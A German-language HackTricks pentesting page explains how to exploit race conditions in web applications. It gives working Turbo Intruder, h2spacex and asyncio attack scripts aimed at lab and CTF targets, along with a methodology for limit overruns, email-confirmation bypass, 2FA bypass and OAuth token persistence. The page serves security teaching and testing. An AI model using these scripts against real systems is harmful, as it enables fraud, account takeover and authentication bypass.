hacktricks/pentesting-web/race-condition.md

24 KiB
Raw Blame History

Race Condition


Verwenden Sie Trickest, um einfach Workflows zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.
Zugang heute erhalten:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=race-condition" %}

{% hint style="success" %} Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

{% hint style="warning" %} Um ein tiefes Verständnis dieser Technik zu erlangen, überprüfen Sie den Originalbericht unter https://portswigger.net/research/smashing-the-state-machine {% endhint %}

Verbesserung von Race Condition-Angriffen

Die größte Hürde bei der Ausnutzung von Race Conditions besteht darin, sicherzustellen, dass mehrere Anfragen gleichzeitig bearbeitet werden, mit sehr geringem Unterschied in ihren Verarbeitungszeiten idealerweise weniger als 1 ms.

Hier finden Sie einige Techniken zur Synchronisierung von Anfragen:

HTTP/2 Single-Packet-Angriff vs. HTTP/1.1 Last-Byte-Synchronisierung

  • HTTP/2: Unterstützt das Senden von zwei Anfragen über eine einzige TCP-Verbindung, wodurch die Auswirkungen von Netzwerk-Jitter verringert werden. Aufgrund serverseitiger Variationen können jedoch zwei Anfragen möglicherweise nicht ausreichen, um einen konsistenten Race Condition-Angriff durchzuführen.
  • HTTP/1.1 'Last-Byte-Sync': Ermöglicht das Vorab-Senden der meisten Teile von 20-30 Anfragen, wobei ein kleines Fragment zurückgehalten wird, das dann zusammen gesendet wird, um eine gleichzeitige Ankunft beim Server zu erreichen.

Die Vorbereitung für Last-Byte-Sync umfasst:

  1. Senden von Headern und Bodendaten ohne das letzte Byte, ohne den Stream zu beenden.
  2. Eine Pause von 100 ms nach dem ersten Senden.
  3. Deaktivierung von TCP_NODELAY, um Nagles Algorithmus für das Batchen der letzten Frames zu nutzen.
  4. Pingen, um die Verbindung aufzuwärmen.

Das anschließende Senden der zurückgehaltenen Frames sollte zu ihrer Ankunft in einem einzigen Paket führen, was über Wireshark überprüfbar ist. Diese Methode gilt nicht für statische Dateien, die typischerweise nicht in RC-Angriffen involviert sind.

Anpassung an die Serverarchitektur

Das Verständnis der Architektur des Ziels ist entscheidend. Front-End-Server könnten Anfragen unterschiedlich weiterleiten, was die Zeitmessung beeinflusst. Eine präventive serverseitige Verbindungserwärmung durch unbedeutende Anfragen könnte die Anfragetiming normalisieren.

Umgang mit sitzungsbasiertem Locking

Frameworks wie PHPs Sitzungs-Handler serialisieren Anfragen nach Sitzung, was potenziell Schwachstellen verschleiern kann. Die Verwendung unterschiedlicher Sitzungstoken für jede Anfrage kann dieses Problem umgehen.

Überwindung von Rate- oder Ressourcenlimits

Wenn die Verbindungserwärmung nicht effektiv ist, könnte das absichtliche Auslösen von Verzögerungen durch die Rate- oder Ressourcenlimits von Webservern durch eine Flut von Dummy-Anfragen den Single-Packet-Angriff erleichtern, indem eine serverseitige Verzögerung induziert wird, die für Race Conditions förderlich ist.

Angriffsbeispiele

  • Tubo Intruder - HTTP2 Single-Packet-Angriff (1 Endpunkt): Sie können die Anfrage an Turbo Intruder senden (Extensions -> Turbo Intruder -> Send to Turbo Intruder), Sie können im Request den Wert ändern, den Sie für %s brute-forcen möchten, wie in csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s, und dann examples/race-single-packer-attack.py aus dem Dropdown auswählen:

Wenn Sie verschiedene Werte senden möchten, könnten Sie den Code mit diesem ändern, der eine Wortliste aus der Zwischenablage verwendet:

passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')

{% hint style="warning" %} Wenn das Web kein HTTP2 unterstützt (nur HTTP1.1), verwenden Sie Engine.THREADED oder Engine.BURP anstelle von Engine.BURP2. {% endhint %}

  • Tubo Intruder - HTTP2 Einzelpaketangriff (Mehrere Endpunkte): Falls Sie eine Anfrage an 1 Endpunkt senden müssen und dann mehrere an andere Endpunkte, um die RCE auszulösen, können Sie das Skript race-single-packet-attack.py mit etwas wie folgendem ändern:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)

# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0

'''

# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt

# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)

# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)

# send all the queued requests for this attempt
engine.openGate(currentAttempt)
  • Es ist auch in Repeater über die neue 'Send group in parallel' Option in Burp Suite verfügbar.
  • Für limit-overrun könnten Sie einfach die gleiche Anfrage 50 Mal in der Gruppe hinzufügen.
  • Für connection warming könnten Sie am Anfang der Gruppe einige Anfragen an einen nicht statischen Teil des Webservers hinzufügen.
  • Um den Prozess zwischen der Verarbeitung einer Anfrage und einer anderen in 2 Subzuständen zu verzögern, könnten Sie zusätzliche Anfragen zwischen beiden Anfragen hinzufügen.
  • Für eine multi-endpoint RC könnten Sie die Anfrage senden, die in den versteckten Zustand geht, und dann 50 Anfragen direkt danach, die den versteckten Zustand ausnutzen.
  • Automatisiertes Python-Skript: Das Ziel dieses Skripts ist es, die E-Mail eines Benutzers zu ändern, während es kontinuierlich überprüft, bis der Bestätigungstoken der neuen E-Mail an die letzte E-Mail ankommt (das liegt daran, dass im Code ein RC gesehen wurde, bei dem es möglich war, eine E-Mail zu ändern, aber die Bestätigung an die alte zu senden, weil die Variable, die die E-Mail angibt, bereits mit der ersten gefüllt war).
    Wenn das Wort "objetivo" in den empfangenen E-Mails gefunden wird, wissen wir, dass wir den Bestätigungstoken der geänderten E-Mail erhalten haben und beenden den Angriff.
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests

cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"

# change these headers

headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: """+cookie+"""
Content-Length: 112
"""

bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'

headersVerification= """Content-Length: 1
Cookie: """+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"

host = "94.237.56.46"
puerto =39697


url = "https://"+host+":"+str(puerto)+"/email/"

response = requests.get(url, verify=False)


while "objetivo" not in response.text:

urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"

responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one

Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)

print(responseReset.status_code)

h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)

h2_conn.setup_connection()

try_num = 100

stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)

all_headers_frames = []  # all headers frame + data frames which have not the last byte
all_data_frames = []  # all data frames which contain the last byte


for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(  # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)

all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)


# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)

# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)

h2_conn.send_bytes(temp_headers_bytes)

# wait some time
sleep(0.1)

# send ping frame to warm up connection
h2_conn.send_ping_frame()

# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)

resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()

print('---')

sleep(3)
h2_conn.close_connection()

response = requests.get(url, verify=False)

Verbesserung des Single Packet Angriffs

In der ursprünglichen Forschung wird erklärt, dass dieser Angriff eine Grenze von 1.500 Bytes hat. In diesem Beitrag wurde jedoch erklärt, wie es möglich ist, die 1.500-Byte-Beschränkung des Single Packet Angriffs auf die 65.535 B Fensterbeschränkung von TCP durch Verwendung von IP-Schichtfragmentierung (Aufteilen eines einzelnen Pakets in mehrere IP-Pakete) zu erweitern und sie in unterschiedlicher Reihenfolge zu senden, was es ermöglichte, die Rekonstruktion des Pakets zu verhindern, bis alle Fragmente den Server erreicht hatten. Diese Technik ermöglichte es dem Forscher, 10.000 Anfragen in etwa 166 ms zu senden.

Beachten Sie, dass diese Verbesserung den Angriff in RC, der Hunderte/Tausende von Paketen erfordert, um gleichzeitig anzukommen, zuverlässiger macht, aber auch einige Softwarebeschränkungen haben könnte. Einige beliebte HTTP-Server wie Apache, Nginx und Go haben eine strenge Einstellung SETTINGS_MAX_CONCURRENT_STREAMS von 100, 128 und 250. Andere wie NodeJS und nghttp2 haben sie jedoch unbegrenzt.
Das bedeutet im Grunde, dass Apache nur 100 HTTP-Verbindungen von einer einzelnen TCP-Verbindung berücksichtigt (was diesen RC-Angriff einschränkt).

Sie finden einige Beispiele, die diese Technik verwenden, im Repo https://github.com/Ry0taK/first-sequence-sync/tree/main.

Raw BF

Vor der vorherigen Forschung wurden einige Payloads verwendet, die einfach versuchten, die Pakete so schnell wie möglich zu senden, um einen RC zu verursachen.

  • Repeater: Überprüfen Sie die Beispiele aus dem vorherigen Abschnitt.
  • Intruder: Senden Sie die Anfrage an Intruder, setzen Sie die Anzahl der Threads auf 30 im Optionsmenü und wählen Sie als Payload Null-Payloads und generieren Sie 30.
  • Turbo Intruder
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)

def handleResponse(req, interesting):
table.add(req)
  • Python - asyncio
import asyncio
import httpx

async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text

async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))

# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)

# Print results
for r in results:
print(r)

# Async2sync sleep
await asyncio.sleep(0.5)
print(results)

asyncio.run(main())

RC Methodologie

Limit-Überlauf / TOCTOU

Dies ist die grundlegendste Art von Race Condition, bei der Schwachstellen auftreten, die an Orten erscheinen, die die Anzahl der Male begrenzen, die Sie eine Aktion ausführen können. Wie die Verwendung desselben Rabattcodes in einem Webshop mehrere Male. Ein sehr einfaches Beispiel finden Sie in diesem Bericht oder in diesem Bug.

Es gibt viele Variationen dieser Art von Angriff, einschließlich:

  • Einlösen einer Geschenkkarte mehrere Male
  • Bewerten eines Produkts mehrere Male
  • Abheben oder Überweisen von Bargeld über Ihr Kontoguthaben hinaus
  • Wiederverwendung einer einzelnen CAPTCHA-Lösung
  • Umgehen einer Anti-Brute-Force-Ratebegrenzung

Verborgene Subzustände

Das Ausnutzen komplexer Race Conditions beinhaltet oft, kurze Gelegenheiten zu nutzen, um mit verborgenen oder unbeabsichtigten Maschinen-Subzuständen zu interagieren. So gehen Sie vor:

  1. Identifizieren Sie potenzielle verborgene Subzustände
  • Beginnen Sie mit der Identifizierung von Endpunkten, die kritische Daten ändern oder mit ihnen interagieren, wie z. B. Benutzerprofile oder Passwortzurücksetzprozesse. Konzentrieren Sie sich auf:
  • Speicherung: Bevorzugen Sie Endpunkte, die serverseitige persistente Daten manipulieren, gegenüber denen, die Daten clientseitig verarbeiten.
  • Aktion: Suchen Sie nach Operationen, die vorhandene Daten ändern, da diese eher ausnutzbare Bedingungen schaffen als solche, die neue Daten hinzufügen.
  • Schlüsselung: Erfolgreiche Angriffe beinhalten normalerweise Operationen, die auf demselben Identifikator basieren, z. B. Benutzername oder Rücksetz-Token.
  1. Durchführen einer ersten Erkundung
  • Testen Sie die identifizierten Endpunkte mit Race Condition-Angriffen und beobachten Sie Abweichungen von den erwarteten Ergebnissen. Unerwartete Antworten oder Änderungen im Anwendungsverhalten können auf eine Schwachstelle hinweisen.
  1. Demonstrieren Sie die Schwachstelle
  • Reduzieren Sie den Angriff auf die minimale Anzahl von Anfragen, die erforderlich sind, um die Schwachstelle auszunutzen, oft nur zwei. Dieser Schritt kann mehrere Versuche oder Automatisierung erfordern, aufgrund des präzisen Timings.

Zeitkritische Angriffe

Präzision beim Timing von Anfragen kann Schwachstellen aufdecken, insbesondere wenn vorhersehbare Methoden wie Zeitstempel für Sicherheitstoken verwendet werden. Zum Beispiel könnte die Generierung von Passwortzurücksetz-Token basierend auf Zeitstempeln identische Token für gleichzeitige Anfragen ermöglichen.

Um auszunutzen:

  • Verwenden Sie präzises Timing, wie einen einzelnen Paketangriff, um gleichzeitige Passwortzurücksetz-Anfragen zu stellen. Identische Token weisen auf eine Schwachstelle hin.

Beispiel:

  • Fordern Sie zwei Passwortzurücksetz-Token gleichzeitig an und vergleichen Sie sie. Übereinstimmende Token deuten auf einen Fehler in der Token-Generierung hin.

Überprüfen Sie dies PortSwigger Lab um dies auszuprobieren.

Fallstudien zu verborgenen Subzuständen

Bezahlen & einen Artikel hinzufügen

Überprüfen Sie dieses PortSwigger Lab, um zu sehen, wie Sie im Geschäft bezahlen und einen zusätzlichen Artikel hinzufügen, für den Sie nicht bezahlen müssen.

Bestätigen anderer E-Mails

Die Idee ist, eine E-Mail-Adresse zu verifizieren und sie gleichzeitig in eine andere zu ändern, um herauszufinden, ob die Plattform die neue geänderte Adresse überprüft.

Laut dieser Forschung war Gitlab auf diese Weise anfällig für einen Übernahmeangriff, da es das E-Mail-Bestätigungstoken einer E-Mail an die andere E-Mail senden könnte.

Überprüfen Sie dies PortSwigger Lab um dies auszuprobieren.

Verborgene Datenbankzustände / Bestätigungsumgehung

Wenn 2 verschiedene Schreibvorgänge verwendet werden, um Informationen in eine Datenbank hinzuzufügen, gibt es einen kurzen Zeitraum, in dem nur die ersten Daten in die Datenbank geschrieben wurden. Zum Beispiel, wenn ein Benutzer erstellt wird, könnten der Benutzername und das Passwort geschrieben werden und dann das Token, um das neu erstellte Konto zu bestätigen. Das bedeutet, dass für eine kurze Zeit das Token zur Bestätigung eines Kontos null ist.

Daher könnte die Registrierung eines Kontos und das Senden mehrerer Anfragen mit einem leeren Token (token= oder token[]= oder jede andere Variation), um das Konto sofort zu bestätigen, ermöglichen, ein Konto zu bestätigen, bei dem Sie die E-Mail nicht kontrollieren.

Überprüfen Sie dies PortSwigger Lab um dies auszuprobieren.

Umgehung von 2FA

Der folgende Pseudocode ist anfällig für Race Conditions, da in einem sehr kurzen Zeitraum 2FA nicht durchgesetzt wird, während die Sitzung erstellt wird:

session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form

OAuth2 ewige Persistenz

Es gibt mehrere OAuth-Anbieter. Diese Dienste ermöglichen es Ihnen, eine Anwendung zu erstellen und Benutzer zu authentifizieren, die der Anbieter registriert hat. Um dies zu tun, muss der Client Ihrer Anwendung erlauben, auf einige ihrer Daten innerhalb des OAuth-Anbieters zuzugreifen.
Bis hierhin ist es nur ein gewöhnlicher Login mit Google/LinkedIn/GitHub..., bei dem Sie mit einer Seite konfrontiert werden, die sagt: "Anwendung <InsertCoolName> möchte auf Ihre Informationen zugreifen, möchten Sie das erlauben?"

Race Condition im authorization_code

Das Problem tritt auf, wenn Sie es akzeptieren und automatisch einen authorization_code an die bösartige Anwendung senden. Dann missbraucht diese Anwendung eine Race Condition im OAuth-Dienstanbieter, um mehr als ein AT/RT (Authentication Token/Refresh Token) aus dem authorization_code für Ihr Konto zu generieren. Grundsätzlich wird sie ausnutzen, dass Sie die Anwendung akzeptiert haben, um auf Ihre Daten zuzugreifen, um mehrere Konten zu erstellen. Wenn Sie dann aufhören, der Anwendung den Zugriff auf Ihre Daten zu erlauben, wird ein Paar von AT/RT gelöscht, aber die anderen bleiben weiterhin gültig.

Race Condition im Refresh Token

Sobald Sie ein gültiges RT erhalten haben, könnten Sie versuchen, es auszunutzen, um mehrere AT/RT zu generieren, und selbst wenn der Benutzer die Berechtigungen für die bösartige Anwendung zum Zugriff auf seine Daten widerruft, werden mehrere RTs weiterhin gültig sein.

RC in WebSockets

In WS_RaceCondition_PoC finden Sie einen PoC in Java, um Websocket-Nachrichten parallel zu senden, um Race Conditions auch in Web Sockets auszunutzen.

Referenzen

{% hint style="success" %} Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks
{% endhint %}


Verwenden Sie Trickest, um einfach Workflows zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.
Erhalten Sie heute Zugang:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=race-condition" %}